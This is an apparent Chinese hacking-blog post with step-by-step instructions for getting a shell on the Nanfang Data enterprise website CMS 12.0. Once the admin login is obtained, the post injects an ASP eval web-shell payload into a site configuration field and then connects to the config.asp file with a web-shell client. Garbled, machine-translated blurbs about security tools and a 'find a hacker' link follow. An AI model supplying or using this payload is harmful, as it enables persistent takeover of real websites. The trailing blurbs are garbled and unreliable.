南方数据企业网站管理系统12.0拿SHELL ***

hacker4年前 (2020-05-31)黑客文章646

南方数据企业网站管理系统12.0插配置文件拿SHELL

在我们拿到南方数据企业管理系统后台账号密码后，可以使用下面的 *** 来拿shell

进入后台后点击系统管理网站配置

随便找个地方修改成

“%><%eval request(“qxz”)%><%Const nidaye=”xzlbb.com

然后用一句话客户端连接http://目标网站/inc/config.asp就OK了！

标签: 黑客技术

返回列表

SnoopSnitch是一款开源系统Android程序运行，为客户出示检测移动终端及其设备连接的移动互联网安全系数的机遇。 SnoopSnitch运用是一款用于剖析挪动通信网络的挪动防护软件。该运用...

什么叫Firebug？ Firebug是一款完全免费的开源系统Web浏览器扩展程序流程，现阶段在Firefox和Chrome上工作中。Firebug尽管不是说“黑客工具”，但协助网站渗透测试员掌握一...

什么叫Sguil？以tcl / tk撰写的Sguil是为网络信息安全投资分析师搭建的。该专用工具的关键部件是形象化的GUI，能够浏览对话数据信息，即时恶性事件和初始数据文件捕捉。它也有利于执行量...

什么叫Scapy？ Scapy是一种十分火爆且有效的数据文件解决专用工具，能够根据实际操作数据文件来工作中。Scapy能够在普遍的协议书范畴内编解码数据文件，将其发送至网上，捕捉，关系推送恳求和...

什么叫RainbowCrack？ RainbowCrack是一个哈希破解工具，能够运用规模性的時间运行内存来最合适的。一个普遍的暴力破解密码者逐一试着每一个将会的密文，这针对繁杂的登陆密码而言是用...

什么叫GDB？ GDB或GNU Project程序调试是一种网络信息安全数据加密/黑客工具，容许客户在运作时在网络技术应用程序流程或程序流程（手机软件）中开展财务审计和发觉。GDB针对开发者或程序猿...

找黑客平台